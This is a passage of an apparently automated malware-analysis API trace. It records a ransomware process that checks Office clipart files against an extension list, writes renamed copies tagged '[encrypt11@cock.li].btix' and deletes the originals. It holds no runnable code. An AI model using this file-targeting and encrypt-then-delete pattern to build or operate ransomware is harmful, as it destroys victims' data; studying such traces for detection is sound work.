Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0071.399] lstrlenW (lpString=".jpg") returned 4 [0071.399] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.404] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.404] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0071.406] GetLastError () returned 0x0 [0071.406] ReadFile (in: hFile=0x318, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x488, lpOverlapped=0x0) returned 1 [0071.418] WriteFile (in: hFile=0x2e0, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x490, lpOverlapped=0x0) returned 1 [0071.419] ReadFile (in: hFile=0x318, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.419] WriteFile (in: hFile=0x2e0, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.420] SetEndOfFile (hFile=0x2e0) returned 1 [0071.420] CloseHandle (hObject=0x2e0) returned 1 [0071.420] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.420] SetEndOfFile (hFile=0x318) returned 1 [0071.421] CloseHandle (hObject=0x318) returned 1 [0071.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 1 [0071.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0071.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0071.421] lstrlenW (lpString=".doc") returned 4 [0071.421] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.421] lstrlenW (lpString=".docx") returned 5 [0071.422] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.422] lstrlenW (lpString=".pdf") returned 4 [0071.422] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.422] lstrlenW (lpString=".xls") returned 4 [0071.422] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.422] lstrlenW (lpString=".xlsx") returned 5 [0071.422] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.422] lstrlenW (lpString=".ppt") returned 4 [0071.422] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0071.422] lstrlenW (lpString=".zip") returned 4 [0071.422] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.422] lstrlenW (lpString=".rar") returned 4 [0071.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.422] lstrlenW (lpString=".bz2") returned 4 [0071.422] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.422] lstrlenW (lpString=".7z") returned 3 [0071.422] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0071.422] lstrlenW (lpString=".dbf") returned 4 [0071.422] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0071.422] lstrlenW (lpString=".1cd") returned 4 [0071.422] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0071.422] lstrlenW (lpString=".jpg") returned 4 [0071.422] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.430] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.430] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0071.430] GetLastError () returned 0x0 [0071.430] ReadFile (in: hFile=0x308, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x284c, lpOverlapped=0x0) returned 1 [0071.490] WriteFile (in: hFile=0x318, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x2850, lpOverlapped=0x0) returned 1 [0071.491] ReadFile (in: hFile=0x308, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.491] WriteFile (in: hFile=0x318, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.491] SetEndOfFile (hFile=0x318) returned 1 [0071.491] CloseHandle (hObject=0x318) returned 1 [0071.491] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.491] SetEndOfFile (hFile=0x308) returned 1 [0071.492] CloseHandle (hObject=0x308) returned 1 [0071.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.492] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 1 [0071.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0071.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0071.492] lstrlenW (lpString=".doc") returned 4 [0071.492] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.492] lstrlenW (lpString=".docx") returned 5 [0071.493] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.493] lstrlenW (lpString=".pdf") returned 4 [0071.493] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.493] lstrlenW (lpString=".xls") returned 4 [0071.493] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.493] lstrlenW (lpString=".xlsx") returned 5 [0071.493] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.493] lstrlenW (lpString=".ppt") returned 4 [0071.493] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0071.493] lstrlenW (lpString=".zip") returned 4 [0071.493] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.493] lstrlenW (lpString=".rar") returned 4 [0071.493] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.493] lstrlenW (lpString=".bz2") returned 4 [0071.493] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.493] lstrlenW (lpString=".7z") returned 3 [0071.493] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0071.493] lstrlenW (lpString=".dbf") returned 4 [0071.493] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0071.493] lstrlenW (lpString=".1cd") returned 4 [0071.493] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0071.493] lstrlenW (lpString=".jpg") returned 4 [0071.493] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.493] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.493] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0071.494] GetLastError () returned 0x0 [0071.494] ReadFile (in: hFile=0x308, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x88c, lpOverlapped=0x0) returned 1 [0071.507] WriteFile (in: hFile=0x318, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x890, lpOverlapped=0x0) returned 1 [0071.508] ReadFile (in: hFile=0x308, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.508] WriteFile (in: hFile=0x318, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.508] SetEndOfFile (hFile=0x318) returned 1 [0071.511] CloseHandle (hObject=0x318) returned 1 [0071.511] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.511] SetEndOfFile (hFile=0x308) returned 1 [0071.514] CloseHandle (hObject=0x308) returned 1 [0071.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.514] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 1 [0071.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0071.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0071.514] lstrlenW (lpString=".doc") returned 4 [0071.514] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.514] lstrlenW (lpString=".docx") returned 5 [0071.514] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.514] lstrlenW (lpString=".pdf") returned 4 [0071.514] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.514] lstrlenW (lpString=".xls") returned 4 [0071.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.515] lstrlenW (lpString=".xlsx") returned 5 [0071.515] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.515] lstrlenW (lpString=".ppt") returned 4 [0071.515] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0071.515] lstrlenW (lpString=".zip") returned 4 [0071.515] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.515] lstrlenW (lpString=".rar") returned 4 [0071.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.515] lstrlenW (lpString=".bz2") returned 4 [0071.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.515] lstrlenW (lpString=".7z") returned 3 [0071.515] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0071.515] lstrlenW (lpString=".dbf") returned 4 [0071.515] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0071.515] lstrlenW (lpString=".1cd") returned 4 [0071.515] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0071.515] lstrlenW (lpString=".jpg") returned 4 [0071.515] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.515] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.515] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0071.516] GetLastError () returned 0x0 [0071.516] ReadFile (in: hFile=0x308, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x1234, lpOverlapped=0x0) returned 1 [0071.566] WriteFile (in: hFile=0x2e0, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x1240, lpOverlapped=0x0) returned 1 [0071.567] ReadFile (in: hFile=0x308, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.567] WriteFile (in: hFile=0x2e0, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.567] SetEndOfFile (hFile=0x2e0) returned 1 [0071.567] CloseHandle (hObject=0x2e0) returned 1 [0071.567] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.568] SetEndOfFile (hFile=0x308) returned 1 [0071.568] CloseHandle (hObject=0x308) returned 1 [0071.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.568] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 1 [0071.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0071.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0071.569] lstrlenW (lpString=".doc") returned 4 [0071.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.569] lstrlenW (lpString=".docx") returned 5 [0071.569] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.569] lstrlenW (lpString=".pdf") returned 4 [0071.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.569] lstrlenW (lpString=".xls") returned 4 [0071.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.569] lstrlenW (lpString=".xlsx") returned 5 [0071.569] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.569] lstrlenW (lpString=".ppt") returned 4 [0071.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0071.569] lstrlenW (lpString=".zip") returned 4 [0071.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.569] lstrlenW (lpString=".rar") returned 4 [0071.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.569] lstrlenW (lpString=".bz2") returned 4 [0071.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.569] lstrlenW (lpString=".7z") returned 3 [0071.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0071.569] lstrlenW (lpString=".dbf") returned 4 [0071.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0071.570] lstrlenW (lpString=".1cd") returned 4 [0071.570] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0071.570] lstrlenW (lpString=".jpg") returned 4 [0071.570] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.570] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.570] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0071.570] GetLastError () returned 0x0 [0071.570] ReadFile (in: hFile=0x308, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0xf94, lpOverlapped=0x0) returned 1 [0071.586] WriteFile (in: hFile=0x2e0, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xfa0, lpOverlapped=0x0) returned 1 [0071.586] ReadFile (in: hFile=0x308, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.587] WriteFile (in: hFile=0x2e0, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.587] SetEndOfFile (hFile=0x2e0) returned 1 [0071.587] CloseHandle (hObject=0x2e0) returned 1 [0071.587] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.587] SetEndOfFile (hFile=0x308) returned 1 [0071.588] CloseHandle (hObject=0x308) returned 1 [0071.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.588] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 1 [0071.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0071.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0071.588] lstrlenW (lpString=".doc") returned 4 [0071.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.588] lstrlenW (lpString=".docx") returned 5 [0071.588] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.588] lstrlenW (lpString=".pdf") returned 4 [0071.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.588] lstrlenW (lpString=".xls") returned 4 [0071.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.588] lstrlenW (lpString=".xlsx") returned 5 [0071.588] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.588] lstrlenW (lpString=".ppt") returned 4 [0071.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0071.589] lstrlenW (lpString=".zip") returned 4 [0071.589] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.589] lstrlenW (lpString=".rar") returned 4 [0071.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.589] lstrlenW (lpString=".bz2") returned 4 [0071.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.589] lstrlenW (lpString=".7z") returned 3 [0071.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0071.589] lstrlenW (lpString=".dbf") returned 4 [0071.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0071.589] lstrlenW (lpString=".1cd") returned 4 [0071.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0071.589] lstrlenW (lpString=".jpg") returned 4 [0071.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.591] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.591] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0071.591] GetLastError () returned 0x0 [0071.591] ReadFile (hFile=0x2e0, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0) Thread: id = 20 os_tid = 0x668 [0040.846] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10000) returned 0x3cc1258 [0040.846] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10000) returned 0x3cd1260 [0040.847] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecb00 [0040.847] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x6) returned 0x71d070 [0040.847] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecc38 [0040.847] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x100000) returned 0x4167020 [0040.849] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecb18 [0040.849] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ecb18, Size=0x20) returned 0x6ce7c8 [0040.849] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecc50 [0040.849] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ecc50, Size=0x20) returned 0x6ce7f0 [0040.849] GetModuleHandleW (lpModuleName="kernel32.dll") returned 